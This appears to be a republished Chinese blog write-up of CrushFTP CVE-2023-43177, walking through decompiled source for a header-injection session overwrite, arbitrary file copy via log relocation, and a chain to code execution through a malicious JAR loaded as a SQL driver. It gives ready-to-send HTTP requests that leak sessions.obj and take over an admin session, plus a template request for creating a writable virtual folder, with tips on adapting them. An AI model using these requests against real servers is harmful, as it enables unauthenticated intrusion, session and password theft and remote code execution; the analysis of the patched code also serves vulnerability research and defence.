CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)

IoT 5个月前 admin
21 0 0

路由分析

不像传统套件,这里自己实现了协议的解析并做调用,写法比较死板,不够灵活,在crushftp.server.ServerSessionHTTP可以看到具体的处理过程,代码”依托答辩”,不过漏洞思路值得学习

CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)

前台权限绕过

简单来说,原理是因为程序实现存在匿名访问机制,并且可以通过header污染当前会话的参数导致产生了一些意外的操作

crushftp.server.ServerSessionAJAX#buildPostItem当中,可以看到会解析每一个header,并将解析到的key,val保存到as2Info这个Properties中,同时这里对put的参数没有任何限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public boolean buildPostItem(Properties request, long http_len_max, Vector headers, String req_id) throws Exception {
        Properties as2Info = new Properties();  
        boolean write100Continue = false;
        int x = 1;s
        while (x < headers.size()) {
            String data;
            String key = data = headers.elementAt(x).toString();
            String val = "";
            try {
                val = data.substring(data.indexOf(":") + 1).trim();
                key = data.substring(0, data.indexOf(":")).trim().toLowerCase();
            }
            catch (Exception e) {
                Log.log("HTTP_SERVER", 3, e);
            }
            as2Info.put(key, val);  
......省略.....

我们顺便看看新版本是如何解决这一点的,从processAs2HeaderLine可以看出,允许设置到as2Info当中值受到了限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void processAs2HeaderLine(String key, String val, String data, Properties as2Info) {
        as2Info.put(key.trim().toLowerCase(), val.trim());
        if (data.toLowerCase().startsWith("message-id:")) {
            String as2Filename = data.substring(data.indexOf(":") + 1).trim();
            if ((as2Filename = as2Filename.substring(1)).indexOf("@") >= 0) {
                as2Filename = as2Filename.substring(0, as2Filename.indexOf("@"));
            }
            as2Filename = Common.replace_str(as2Filename, "<", "");
            as2Filename = Common.replace_str(as2Filename, ">", "");
            as2Info.put("as2Filename", as2Filename);
        } else if (data.toLowerCase().startsWith("content-type:")) {
            as2Info.put("contentType", data.substring(data.indexOf(":") + 1).trim());
        } else if (data.toLowerCase().startsWith("disposition-notification-options:")) {
            as2Info.put("signMdn", String.valueOf(data.substring(data.indexOf(":") + 1).trim().indexOf("pkcs7-signature") >= 0));
        }
    }

继续往下接下来我们可以看到,在光标处没有做任何的限制,直接将as2Info中的每个键值对添加到了当前会话的user_info属性,因此这里存在一个属性覆盖的问题,接下来我们就需要看看覆盖哪些属性可能存在威胁

CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)

关于user_info属性的获取是通过一个封装好的函数来做获取

1
2
3
4
5
6
public String uiSG(String data) {
    if (this.user_info.containsKey(data)) {
        return this.user_info.getProperty(data);
    }
    return "";
}

同时在此基础上还有一系列类型转换的封装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public int uiIG(String data) {
    try {
        return Integer.parseInt(this.uiSG(data));
    }
    catch (Exception exception) {
        return 0;
    }
}

public long uiLG(String data) {
    try {
        return Long.parseLong(this.uiSG(data));
    }
    catch (Exception exception) {
        return 0L;
    }
}

public boolean uiBG(String data) {
    return this.uiSG(data).toLowerCase().equals("true");
}
......

接下来就是寻找污染哪些属性可能造成危害,这里漏洞发现者使用了getUserName

其中csrf默认为true,我们需要传入c2f参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public boolean getUserName(Properties request) throws Exception {
    if (request.getProperty("command", "").equalsIgnoreCase("getUserName")) {
        String response = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> \r\n";
        if (ServerStatus.BG("csrf") && !request.getProperty("c2f", "").equals("")) {
            String session_id = this.thisSessionHTTP.thisSession.getId();
            try {
                if (!request.getProperty("c2f", "").equalsIgnoreCase(session_id.substring(session_id.length() - 4))) {
                    this.thisSessionHTTP.thisSession.uiVG("failed_commands").addElement("" + new Date().getTime());
                    response = String.valueOf(response) + "<commandResult><response>FAILURE:Access Denied. (c2f)</response></commandResult>";
                    return this.writeResponse(response);
                }
            }
            catch (Exception e) {
                Log.log("HTTP_SERVER", 2, e);
                this.thisSessionHTTP.thisSession.uiVG("failed_commands").addElement("" + new Date().getTime());
                response = String.valueOf(response) + "<loginResult><response>failure</response></loginResult>";
                return this.writeResponse(response);
            }
        }
        response = this.thisSessionHTTP.thisSession.uiBG("user_logged_in") && !this.thisSessionHTTP.thisSession.uiSG("user_name").equals("") ? String.valueOf(response) + "<loginResult><response>success</response><username>" + this.thisSessionHTTP.thisSession.uiSG("user_name") + "</username></loginResult>" : String.valueOf(response) + "<loginResult><response>failure</response></loginResult>";
        return this.writeResponse(response);
    }
    return false;
}

如果相等则返回登录成功,同时值得注意的是这里会返回user_name,因此我们可以利用这一点来判断漏洞是否可利用,如果是漏洞版本user_name就可以通过header覆盖,返回也可以是任意可控字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
public boolean writeResponse(String response) throws Exception {
    return this.writeResponse(response, true, 200, true, false, true);
}

public boolean writeResponse(String response, boolean json) throws Exception {
    return this.writeResponse(response, true, 200, true, json, true);
}

public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean log_header) throws Exception {
    boolean acceptsGZIP = false;
    return this.writeResponse(response, log, code, convertVars, json, acceptsGZIP, log_header);
}

public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean acceptsGZIP, boolean log_header) throws Exception {
    if (convertVars) {
        response = ServerStatus.thisObj.change_vars_to_values(response, this.thisSessionHTTP.thisSession);
    }
    this.write_command_http("HTTP/1.1 " + code + " OK", log_header);
    this.write_command_http("Cache-Control: no-store", log_header);
    this.write_command_http("Pragma: no-cache", log_header);
    if (json) {
        this.write_command_http("Content-Type: application/jsonrequest;charset=utf-8");
    } else {
        this.write_command_http("Content-Type: text/" + (response.indexOf("<?xml") >= 0 ? "xml" : "plain") + ";charset=utf-8");
    }
    if (acceptsGZIP) {
        this.thisSessionHTTP.write_command_http("Vary: Accept-Encoding");
        this.thisSessionHTTP.write_command_http("Content-Encoding: gzip");
        this.thisSessionHTTP.write_command_http("Transfer-Encoding: chunked");
        this.thisSessionHTTP.write_command_http("Date: " + this.thisSessionHTTP.sdf_rfc1123.format(new Date()), log, true);
        this.thisSessionHTTP.write_command_http("Server: " + ServerStatus.SG("http_server_header"), log, true);
        this.thisSessionHTTP.write_command_http("P3P: CP=\"IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT\"", log, true);
        if (!ServerStatus.SG("Access-Control-Allow-Origin").equals("")) {
            String origin = this.thisSessionHTTP.headerLookup.getProperty("ORIGIN", "");
            int x = 0;
            while (x < ServerStatus.SG("Access-Control-Allow-Origin").split(",").length) {
                boolean ok = false;
                if (origin.equals("")) {
                    ok = true;
                } else if (ServerStatus.SG("Access-Control-Allow-Origin").split(",")[x].toUpperCase().trim().equalsIgnoreCase(origin.toUpperCase().trim())) {
                    ok = true;
                }
                if (ok) {
                    this.write_command_http("Access-Control-Allow-Origin: " + ServerStatus.SG("Access-Control-Allow-Origin").split(",")[x].trim());
                }
                ++x;
            }
            this.write_command_http("Access-Control-Allow-Headers: authorization,content-type");
            this.write_command_http("Access-Control-Allow-Credentials: true");
            this.write_command_http("Access-Control-Allow-Methods: GET,POST,OPTIONS,PUT,PROPFIND,DELETE,MKCOL,MOVE,COPY,HEAD,PROPPATCH,LOCK,UNLOCK,ACL,TR");
        }
        this.write_command_http("", log);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] b = response.getBytes("UTF8");
        GZIPOutputStream out = new GZIPOutputStream(baos);
        ((OutputStream)out).write(b);
        out.finish();
        if (baos.size() > 0) {
            this.thisSessionHTTP.original_os.write((String.valueOf(Long.toHexString(baos.size())) + "\r\n").getBytes());
            baos.writeTo(this.thisSessionHTTP.original_os);
            this.thisSessionHTTP.original_os.write("\r\n".getBytes());
            baos.reset();
        }
        this.thisSessionHTTP.original_os.write("0\r\n\r\n".getBytes());
        this.thisSessionHTTP.original_os.flush();
    } else {
        this.thisSessionHTTP.write_standard_headers(log);
        int len = response.getBytes("UTF8").length + 2;
        if (len == 2) {
            len = 0;
        }
        this.write_command_http("Content-Length: " + len, log_header);
        this.write_command_http("", log);
        if (len > 0) {
            this.thisSessionHTTP.write_command_http(response, log, convertVars);
        }
    }
    this.thisSessionHTTP.thisSession.drain_log();
    return true;
}

当请求结束,在响应完成之后,在倒数第二行调用了drain_log方法,这个方法也很有意思

可以看到如果属性当中存在user_log_path_custom,并且不为空,接下来再结合覆盖其他参数

  1. user_log_path_custom 中的值为new_loc
  2. user_log_path 中指定的值为old_loc
  3. 旧文件将复制到指定的新位置,并删除旧文件

现在我们可以做到任意文件复制以及删除,但经过测试我们会发现,如果我们读取一些敏感的配置文件到web路径下,访问后再移动回去会破坏掉文件本身的一些完整性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public void drain_log() {
.....省略.....
    object = this.uiVG("user_log");
    synchronized (object) {
        if (!this.uiSG("user_log_path_custom").equals("")) {
            String new_loc = "" + this.user_info.remove("user_log_path_custom");
            String old_loc = this.uiSG("user_log_path");
            this.uiPUT("user_log_path", new_loc);
            new File_S(Common.all_but_last(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file"))).mkdirs();
            if (new File_S(String.valueOf(old_loc) + this.uiSG("user_log_file")).exists() && !new File_S(String.valueOf(old_loc) + this.uiSG("user_log_file")).renameTo(new File_S(String.valueOf(new_loc) + this.uiSG("user_log_file")))) {
                try {
                    Common.copy(String.valueOf(old_loc) + this.uiSG("user_log_file"), String.valueOf(new_loc) + this.uiSG("user_log_file"), true);
                }
                catch (Exception exception) {
                    // empty catch block
                }
                new File_S(String.valueOf(old_loc) + this.uiSG("user_log_file")).delete();
            }
        }
        try {
            com.crushftp.client.Common.copyStreams(new ByteArrayInputStream(sb.toString().getBytes("UTF8")), new FileOutputStream(new File_S(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file")), true), true, true);
        }
        catch (FileNotFoundException e) {
            try {
                new File_S(Common.all_but_last(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file"))).mkdirs();
                com.crushftp.client.Common.copyStreams(new ByteArrayInputStream(sb.toString().getBytes("UTF8")), new FileOutputStream(new File_S(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file")), true), true, true);
            }
            catch (IOException ee) {
                Log.log("SERVER", 1, ee);
            }
        }
        catch (IOException e) {
            Log.log("SERVER", 1, e);
        }
    }
}

毕竟是log功能,程序会将请求记录不断写入CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)

而这部分功能则是受add_log控制,可以看到如果dont_logtrue,那么就不会记录当前请求

1
2
3
4
5
6
7
8
public void add_log(String log_data, String short_data, String check_data) {
      if (this.uiBG("dont_log")) {
          return;
      }
      if (this.logDateFormat == null) {
          this.logDateFormat = (SimpleDateFormat)ServerStatus.thisObj.logDateFormat.clone();
      }
.......

因此我们不难构造出

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /WebInterface/function/?command=getUsername&c2f=a4Ga HTTP/1.1
Host: 127.0.0.1:8080
as2-to: X
user_name: crushadmin
user_log_file: file_to_read
user_log_path_custom: WebInterface/
user_log_path: ./
dont_log: true
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
Cookie: currentAuth=a4Ga; CrushAuth=1702222555460_GEeImKOtIut9bj65EsoOrsDUAYa4Ga;

post=body

表面上看来到此漏洞可能已经利用结束了,但实际上还能再更进一步

但继续阅读源码我们会发现,程序在运行过程还会”定期”,将session当中的属性信息保存到sessions.obj文件当中(保存的条件是重启过服务器…),这个文件的作用相当于是充当了服务器重启时的缓存,因此漏洞利用需要看运气了

CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)

这里我们得到了完整的流程

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /WebInterface/function/?command=getUsername&c2f=a4Ga HTTP/1.1
Host: 127.0.0.1:8080
as2-to: X
user_name: crushadmin
user_log_file: sessions.obj
user_log_path_custom: WebInterface/
user_log_path: ./
dont_log: true
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
Cookie: currentAuth=a4Ga; CrushAuth=1702222555460_GEeImKOtIut9bj65EsoOrsDUAYa4Ga;

post=body

之后访问/WebInterface/sessions.obj/WebInterface/sessions.obj即可获取到泄漏的session信息

在这里我们还可以尝试权限维持,可以看到这里存在一个借口可以直接获取到明文密码

CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)

后台代码执行

在后台设置中,发现可以动态加载 SQL 驱动程序和配置测试,因此只需要能够上传恶意 JAR 文件即可实现RCE

CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)

毕竟是FTP一定存在上传的点,但是在上传后发现没有权限

CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)

经过查找我们可以发现在后台可以增加虚拟路径和物理路径的映射

CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)

顺便抓了个包

1
command=setUserItem&data_action=replace&serverGroup=extra_vfs&username=crushadmin~Y4Test&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Cusername%3Ecrushadmin~Y4Test%3C%2Fusername%3E%3Cpassword%3E%3C%2Fpassword%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0D%0A%3Cvfs_items+type%3D%22vector%22%3E%0D%0A%3Cvfs_items_subitem+type%3D%22properties%22%3E%0D%0A%3Cname%3EY4TMP%3C%2Fname%3E%0D%0A%3Cpath%3E%2F%3C%2Fpath%3E%0D%0A%3Cvfs_item+type%3D%22vector%22%3E%0D%0A%3Cvfs_item_subitem+type%3D%22properties%22%3E%0D%0A%3Ctype%3EDIR%3C%2Ftype%3E%0D%0A%3Curl%3E%3C%2Furl%3E%0D%0A%3C%2Fvfs_item_subitem%3E%0D%0A%3C%2Fvfs_item%3E%0D%0A%3C%2Fvfs_items_subitem%3E%0D%0A%3Cvfs_items_subitem+type%3D%22properties%22%3E%0D%0A%3Cname%3Etmp%3C%2Fname%3E%0D%0A%3Cpath%3E%2FY4TMP%2F%3C%2Fpath%3E%0D%0A%3Cvfs_item+type%3D%22vector%22%3E%0D%0A%3Cvfs_item_subitem+type%3D%22properties%22%3E%0D%0A%3Ctype%3EDIR%3C%2Ftype%3E%0D%0A%3Curl%3EFILE%3A%2F%2FVolumes%2FMacintosh+HD%2Ftmp%2F%3C%2Furl%3E%0D%0A%3C%2Fvfs_item_subitem%3E%0D%0A%3C%2Fvfs_item%3E%0D%0A%3C%2Fvfs_items_subitem%3E%0D%0A%3C%2Fvfs_items%3E&permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0D%0A%3CVFS+type%3D%22properties%22%3E%0D%0A%3Citem+name%3D%22%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%0D%0A%3Citem+name%3D%22%2FY4TMP%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%0D%0A%3Citem+name%3D%22%2FY4TMP%2FTMP%2F%22%3E(read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)%3C%2Fitem%3E%0D%0A%3C%2FVFS%3E&c2f=kYjk

对应以下的参数,按照此模板做修改即可注意替换username(用户名~随意的自定义参数|参考上面的图上面的截图就很容易理解)、c2f参数即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
command: setUserItem
data_action: replace
serverGroup: extra_vfs
username: crushadmin~Y4Test
user: <?xml version="1.0" encoding="UTF-8"?><user type="properties"><username>crushadmin~Y4Test</username><password></password><max_logins>0</max_logins><root_dir>/</root_dir></user>
xmlItem: user
vfs_items: <?xml version="1.0" encoding="UTF-8"?>
<vfs_items type="vector">
<vfs_items_subitem type="properties">
<name>Y4TMP</name>
<path>/</path>
<vfs_item type="vector">
<vfs_item_subitem type="properties">
<type>DIR</type>
<url></url>
</vfs_item_subitem>
</vfs_item>
</vfs_items_subitem>
<vfs_items_subitem type="properties">
<name>tmp</name>
<path>/Y4TMP/</path>
<vfs_item type="vector">
<vfs_item_subitem type="properties">
<type>DIR</type>
<url>FILE://Volumes/Macintosh HD/tmp/</url>
</vfs_item_subitem>
</vfs_item>
</vfs_items_subitem>
</vfs_items>
permissions: <?xml version="1.0" encoding="UTF-8"?>
<VFS type="properties">
<item name="/">(read)(view)(resume)</item>
<item name="/Y4TMP/">(read)(view)(resume)</item>
<item name="/Y4TMP/TMP/">(read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)</item>
</VFS>
c2f: kYjk

之后在主页上传jar包CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)

抓了个包发现这样非常麻烦,需要两步,第一步相当于初始化,第二步还要计算文件大小拼接(19218是文件大小)

CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)

通过阅读源码我发现了一个可替代的步骤,并且更简单,简化我们做自动化利用的步骤

CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)

现在既然成功上传了,那就可以控制参数加载我们的恶意SQL驱动程序执行任意命令

CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)

原文始发于Y4TACKER:CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)

版权声明:admin 发表于 2023年12月12日 下午2:16。
转载请注明:CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...